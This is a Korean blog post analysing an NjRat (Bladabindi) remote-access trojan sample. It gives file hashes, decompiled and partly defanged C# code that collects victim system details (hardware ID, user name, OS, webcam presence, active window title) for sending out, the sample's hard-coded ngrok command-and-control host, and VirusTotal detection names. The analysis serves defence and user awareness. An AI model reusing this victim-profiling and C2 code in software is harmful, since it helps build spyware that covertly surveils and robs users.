꿈을꾸는 파랑새

오늘은 NjRat .NET Trojan 악성코드인 file.exe(2023.12.13)에 대해 분석을 간단하게 글을 적어 보겠습니다. 해당 악성코드인 NjRat인 njRAT(Bladabindi 라고도 함)는 프로그램 소유자가 최종 사용자의 컴퓨터를 제어할 수 있도록 하는 사용자 인터페이스 또는 트로이 목마가 포함된 원격 액세스 도구입니다. 2013년 6월에 처음 발견되었고 국내에서는 웹 하드, 토렌트 등에서 게임 또는 성X물, 파일 공유 사이트를 통해서 유포되고 있으며 웹 하드 쪽에서는 성인 게임을 위장한 악성코드가 포함돼 있으며. NET으로 구성이 돼 있는 것이 특징이며 jRAT은 RAT(Remote Administration Tool), 중동 해커 그룹 사이에서 인기가 많아 주로 사용했던 해킹 툴 입니다.
해당 해킹툴 주요 기능
프로세스 관리 (프로세스를 끌 수 있는 기능)
모니터링(좀비 PC의 모니터를 보거나 원격조정을 할 수 있는 기능)
웹캠 해킹 (웹 캠을 볼 수 있는 기능)
도청 (마이크의 소리를 도청할 수 있는 기능)
키로거 (키보드로 치는 자판을 모두 볼 수 있는 기능)
Open Chat (좀비 PC에 감염된 대상과 1대 1 채팅을 하는 기능)
Open Folder (좀비 PC에 감염된 대상의 컴퓨터에 저장된 파일을 가져오거나 업로드할 수 있는 기능)
fun이라는 기능을 통한 피아노 건반 소리를 낸다든지 키보드나 마우스 잠그거나 하는 장난스러운 기능??
먼저 악성코드 해쉬값은 다음과 같습니다.
파일명:file.exe
사이즈:32.0 KB
MD5:f040d0ed0ed4902bedfe03e65c2b7a38
SHA-1:1a3dddce03f1bee23b2f31f6b22d65bbced7c6df
SHA-256:870874c51034d5a34e75dea92d7b84268d41bce6e5eef101fb653f28b9c7e859
일단 주요 코드를 보면 다음과 같습니다.

NjRat file.exe 내부 모습
NjRat file.exe 내부 모습

try
			{
				text += new Computer().Info(.)OSFullName;
			}
			catch
			{
				text += "N/A";
			}
			text += "SP";
			try
			{
				string[] array = Strings.Split(Environment.OSVersion.Serv(i)cePack, " ", -1, CompareMethod.Binary);
				if (array.Length == 1)
				{
					text += "0";
				}
				text (+)= array[checked(array.Length - 1)];
			}
			catch
			{
				text += "0";
			}
			try
			{
				if (Environment.GetFolderP(a)th(Environment.SpecialFolder.ProgramFiles).Contains("x86"))
				{
					text = text + " x64" (+) Program.splitter;
				}
				else
				{
					text = text + " x86" (+) Program(.)splitter;
				}
			}
			catch
			{
				text += Program.splitter;
			}
			if (Program.SearchForCam())
			{
				text = text + "Yes" (+) Program(.)splitter;
			}
			else
			{
				text = text + "No" (+) Program.splitter;
			}
			text = text + Program(.)version (+) Pr(o)gram.splitter;
			text = text + ".." (+) P(r)ogram.splitter;
			text = text + Program(.)GetForegroundWin(d)owTitle() (+) Prog(r)am.splitter;
			string text8 = "";
			try
			{
				foreach (string text9 in Registry.CurrentUser.Cre(a)teSubKey("Software\\" (+) Program.registryName, RegistryKeyPermissionCheck.Default).GetValueNames())
				{
					if (text9.Length == 32)
					{
						text8 = text8 (+) text9 + ",";
					}
				}
			}
			catch
			{
			}
			return text + text8;
		}

		// Token: 0x06000007 RID: 7 RVA: 0x00002634 File Offset: 0x00001634
		public static string StringToBase64(ref string s)
		{
			return Convert.ToBase64String(Program.StringToBytes(ref s));
		}

		// Token: 0x06000008 RID: 8 RVA: 0x00002644 File Offset: 0x00001644
		public static string Base64ToString(ref string s)
		{
			byte[] array = Convert.FromBase64String(s);
			return Program.BytesToString(ref array);
		}

		// Token: 0x06000009 RID: 9 RVA: 0x00002660 File Offset: 0x00001660
		public static byte[] StringToBytes(ref string S)
		{
			return Encoding.UTF8.GetBytes(S);
		}

		// Token: 0x0600000A RID: 10 RVA: 0x0000266E File Offset: 0x0000166E
		public static string BytesToString(ref byte[] B)
		{
			return Encoding.UTF8.GetString(B);
		}

		// Token: 0x0600000B RID: 11 RVA: 0x0000267C File Offset: 0x0000167C
		public static byte[] DecompressGzip(byte[] B)
		{
			MemoryStream memoryStream = new MemoryStream(B);
			GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
			byte[] array = new byte[4];
			checked
			{
				memoryStream.Position = memoryStream.Length - 5L;
				memoryStream.Read(array, 0, 4);
				int num = BitConverter.ToInt32(array, 0);
				memoryStream.Position = 0L;
				byte[] array2 = new byte[num - 1 + 1];
				gzipStream.Read(array2, 0, num);
				gzipStream.Dispose();
				memoryStream.Dispose();
				return array2;
			}
		}

코드 해석

해당 코드는 .NET Framework에서 작성된 C# 프로그램
시스템 정보 및 레지스트리 값을 수집하고 압축 및 문자열 변환을 수행하는 몇 가지 유틸리티 함수가 포함
1. 시스템 정보 수집:
new Computer().Info.OSFullName:Computer 클래스를 사용하여 현재 시스템의 운영체제 전체 이름을 가져오려고 시도
Environment.OSVersion.ServicePack:현재 운영체제의 서비스 팩 정보를 가져옴
Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles):프로그램 파일의 경로를 가져와서 x86이 포함되어 있는지에 따라 x64 또는 x86을 추가
2. 카메라(웹캠) 검색:
Program.SearchForCam(): 카메라(웹캠)의 존재 여부를 확인
3. 프로그램 정보 및 활성 창 정보 수집:
프로그램의 버전 정보와 "…." 문자열을 추가
Program.GetForegroundWindowTitle():현재 활성 창의 제목을 가져와서 추가
4.레지스트리 정보 수집:
Registry.CurrentUser.CreateSubKey("Software\\" (+) Program.registryName, RegistryKeyPermissionCheck.Default):레지스트리에서 특정 키의 값들을 가져옴 32자 길이의 값만을 선택하여 문자열에 추가
5.문자열 변환 및 압축/압축 해제:
StringToBase64,Base64ToString,StringToBytes,BytesToString:문자열과 바이트 배열 간의 변환을 수행
DecompressGzip:Gzip으로 압축된 바이트 배열을 압축 해제
해당 코드는 예외 처리를 통해 프로그램의 안정성을 높이려고 시도하고 있으며 각 부분에서 예외가 발생하면 N/A 또는 기본 값을 사용하여 프로그램이 계속 실행될 수 있도록 합니다.
암호화 및 복호화 관련 함수는 주로 데이터를 안전하게 전송하거나 저장하기 위한 용도로 사용될 수 있음 
코드 상에서는 압축 및 문자열 변환에 더 중점

NjRat file.exe  GetInfo(시스템 정보 수집) 코드

NjRat file.exe GetInfo(시스템 정보 수집)
NjRat file.exe GetInfo(시스템 정보 수집)

public static string GetInfo()
{
	string text = "ll" (+) Program.splitter;
	try
	{
		if (Operators.Cond(i)tionalCompareObjectEqual(Program.GetValueFromRegistry("vn", ""), "", false))
		{
			string tex(t)2 = text;
			string te(x)t3 = Program.Base64ToString(ref Program.victimName) (+) "_" + Program.GetHWID();
			text = text(2) + Program.StringToBase64(ref text3) (+) Program.splitter;
		}
		else
		{
			string text4 = text;
			string text5 = Conversions(.)ToString(Program(.)GetValueFromRegistry("vn", ""));
			string text6 = Program.Base64(T)oString(ref text5) (+) "_" (+) Program(.)GetHWID();
			text = text4 + Program.StringToB(a0se64(ref text6) + Program(.)splitter;
		}
	}
	catch
	{
		string te(x)t7 = text;
		string hwi(d) = Program(.)GetHWID();
		text = text7 + Program.Str(i)ngToBase64(ref hwid) + Program.splitter;
	}
	try
	{
		text = text + Environment(.)MachineName + Program.splitter;
	}
	catch
	{
		text = text + "N/A" (+) Program.splitter;
	}
	try
	{
		text = text (+) Environment.UserName + Program.splitter;
	}
	catch
	{
		text = text (+) "N/A" + Program.splitter;
	}
	try
	{
		text = text (+) Program.currentAssemblyFileInfo.LastWriteTime.Date.ToString("yy-MM-dd") + Program.splitter;
	}
	catch
	{
		text = text + "N/A" (+) Program.splitter;
	}
	text = text + "" + Program(.)splitter;
	try
	{
		text += new Computer().Info(.)OSFullName;
	}
	catch
	{
		text += "N/A";
	}
	text += "SP";
	try
	{
		string[] array = Strings(.)Split(Environment.OSVersion.ServicePack, " ", -1, CompareMethod.Binary);
		if (array.Length (=)= 1)
		{
			text += "0";
		}
		text += array[checke(d)(array.Length - 1)];
	}
	catch
	{
		text += "0";
	}
	try
	{
		if (Environment.GetFolderPath(Enviro(n)ment.SpecialFolder.ProgramFiles).Contains("x86"))
		{
			text = text + " x64" + Program(.)splitter;
		}
		else
		{
			text = text + " x86" + Program(.)splitter;
		}
	}
	catch
	{
		text += Program(.)splitter;
	}
	if (Program.SearchForCam())
	{
		text = text + "Yes" (+) Program.splitter;
	}
	else
	{
		text = text (+) "No" (+) Program.splitter;
	}
	text = text + Program(.)version (+) Program.splitter;
	text = text + ".." (+) Program(.)splitter;
	text = text (+) Program.GetForegroundWindowTitle() + Program.splitter;
	string text8 = "";
	try
	{
		foreach (str(i)ng text9 in Registry.CurrentUser.CreateSubKey("Software\\" (+) Program.registryName, RegistryKeyPerm(i)ssionCheck.Default).GetValueNames())
		{
			if (text9.Leng(t)h == 32)
			{
				text8 = text8 (+) text9 + ",";
			}
		}
	}
	catch
	{
	}
	return text + text8;
}

코드 설명

Lime.Program 클래스 내에 있는 GetInfo 메서드 해당 메서드는 다양한 시스템 및 레지스트리 정보를 수집하고 그 결과를 하나의 문자열로 반환하는 역할
1. 초기화:
text`라는 문자열 변수를 ll과 Program.splitter로 초기화
2. 피해자 이름과 하드웨어 식별자:
레지스트리에서 vn 키를 사용하여 값을 가져오려고 시도
만약 레지스트리 값이 비어 있다면 Program.victimName 을 디코딩하고 하드웨어 식별자와 결합하고, 결과를 Base64로 변환하여 text에 추가
레지스트리 값이 비어 있지 않다면, 레지스트리 값을 디코딩하고 하드웨어 식별자와 결합하고, 결과를 Base64로 변환하여 text에 추가
해당 과정 중에 예외가 발생하면 해당 예외를 처리하고 하드웨어 식별자를 가져와서 Base64로 변환하여 text에 추가
3. 컴퓨터 이름, 사용자 이름 및 어셈블리 정보:
text에 컴퓨터 이름, 사용자 이름, 그리고 현재 어셈블리 파일의 마지막 쓰기 시간을 yy-MM-dd 형식으로 추가함
과정 중에 예외가 발생하면 N/A를 추가
4. 운영체제 정보:
운영체제의 전체 이름을 가져오려고 시도
예외가 발생하면 N/A를 추가
SP를 추가하고 운영체제의 서비스 팩 정보를 가져오려고 시도
성공하면 서비스 팩 정보를 추가하고, 실패하면 0을 추가
5. 시스템 아키텍처 정보:
프로그램이 32비트 또는 64비트 시스템에서 실행 중인지 확인하려고 시도
Program Files 폴더 경로를 기반으로 결정하고 결과를 x64 또는 x86으로 추가
6. 카메라(웹캠) 존재 여부 확인:
Program.SearchForCam()을 사용하여 카메라(웹캠)의 존재 여부를 확인
카메라가 있으면 Yes를 없으면 No를 text에 추가
7. 버전, 구분자 및 활성 창 제목:
프로그램 버전 "….", 그리고 현재 활성 창의 제목을 text에 추가
8.레지스트리 값 이름:
지정된 키("Software\\" + `Program.registryName`)의 레지스트리 값 이름들을 반복하면서 길이가 32인 이름들을 text8 문자열에 추가
9. 반환:
메서드는 최종적으로 모든 정보가 담긴 문자열을 반환

개인정보 전송 코드

NjRat file.exe 서버 전송
NjRat file.exe 서버 전송

// Token: 0x04000001 RID: 1
		public static string host = "1(.)tcp(.)sa(.)ngrok(.)io";

코드 설명

// Token: 0x04000001 RID: 1: 이 주석은 코드와 연결된 토큰 또는 식별자를 포함
public static string host = "1(.)tcp(.)sa(.)ngrok(.)io;(:)host라는 이름의 공개 정적 문자열 변수를 선언하고 1(.)tcp(.)sa(.)ngrok(.)io로 초기변수는 프로그램에서 네트워크 관련 기능에 사용될 호스트 주소나 도메인을 저장하는 데 사용
2023-12-26 12:48:12 UTC 기준 바이러스토탈 에서 탐지하는 보안 프로그램들은 다음과 같습니다.
AhnLab-V3:Trojan/Win32.SpyGate.R292993
Alibaba:TrojanSpy:MSIL/KeyLogger.3d0c1e6a
ALYac:Trojan.GenericKDZ.61581
Antiy-AVL:Trojan/MSIL.Crypt
Arcabit:Trojan.Generic.DF08D
Avast:MSIL:Bladabindi-JK [Trj]
AVG:MSIL:Bladabindi-JK [Trj]
Avira (no cloud):TR/Dropper.Gen7
Baidu:MSIL.Backdoor.Bladabindi.a
BitDefender:Trojan.GenericKDZ.61581
BitDefenderTheta:Gen:NN.ZemsilF.36608.cm0@aiN0qej
Bkav Pro:W32.AIDetectMalware.CS
ClamAV:Win.Packed.njRAT-7445143-0
CrowdStrike Falcon:Win/malicious_confidence_100% (W)
Cybereason:Malicious.e03f1b
Cylance:Unsafe
Cynet:Malicious (score: 100)
DeepInstinct:MALICIOUS
DrWeb:BackDoor.Bladabindi.16104
Elastic:Malicious (high Confidence)
Emsisoft:Trojan.GenericKDZ.61581 (B)
eScan:Trojan.GenericKDZ.61581
ESET-NOD32:A Variant Of MSIL/Bladabindi.AZ
F-Secure:Trojan.TR/Dropper.Gen7
Fortinet:MSIL/Bladabindi.AS!tr
GData:MSIL.Backdoor.Bladabindi.AV
Google:Detected
Gridinsoft (no cloud):Trojan.Win32.NjRat.tr
Ikarus:Trojan.MSIL.Bladabindi
Jiangmin:Trojan.MSIL.oetu
K7AntiVirus:Trojan (700000121)
K7GW:Trojan (700000121)
Kaspersky:HEUR:Trojan-Spy.MSIL.KeyLogger.gen
Kingsoft:MSIL.Trojan-Spy.KeyLogger.gen
Lionic:Trojan.Win32.Bladabindi.l!c
Malwarebytes:Generic.Malware.AI.DDS
MAX:Malware (ai Score=80)
MaxSecure:Trojan.Malware.11723852.susgen
McAfee:Trojan-FSCY!F040D0ED0ED4
Microsoft:Trojan:MSIL/Bladabindi
NANO-Antivirus:Trojan.Win32.KeyLogger.kfethe
Panda:Trj/GdSda.A
QuickHeal:Trojan.MsilFC.S20327749
Rising:Backdoor.njRAT!1.9E49 (CLASSIC)
Sangfor Engine Zero:Suspicious.Win32.Save.a
SecureAge:Malicious
SentinelOne (Static ML):Static AI - Malicious PE
Skyhigh (SWG):Trojan-FSCY!F040D0ED0ED4
Sophos:Mal/Bladabi-W
Symantec:Backdoor.Ratenjay!gen3
Tencent:Msil.Trojan-Spy.Keylogger.Lajl
Trapmine:Malicious.moderate.ml.score
Trellix (FireEye):Generic.mg.f040d0ed0ed4902b
TrendMicro:TrojanSpy.MSIL.LIMEKEYLOG.SMLV
TrendMicro-HouseCall:TrojanSpy.MSIL.LIMEKEYLOG.SMLV
Varist:W32/Razy.DC.gen!Eldorado
VBA32:TScope.Trojan.MSIL
VIPRE:Trojan.GenericKDZ.61581
VirIT:Trojan.Win32.MSIL_Heur.A
ViRobot:Trojan.Win.Z.Bladabindi.32768.NL
Webroot:W32.Infostealer.Bladabindi
Xcitium:TrojWare.MSIL.Bladabindi.BGS@7lngf6
Zillya:Trojan.Bladabindi.Win32.155270
ZoneAlarm by Check Point:HEUR:Trojan-Spy.MSIL.KeyLogger.gen
결론 웹 하드, 토렌트 등에서 함부로 파일 내려받기 시 위험하면 정품을 사용과 백신 프로그램은 항상 사용을 하는 것을 추천합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band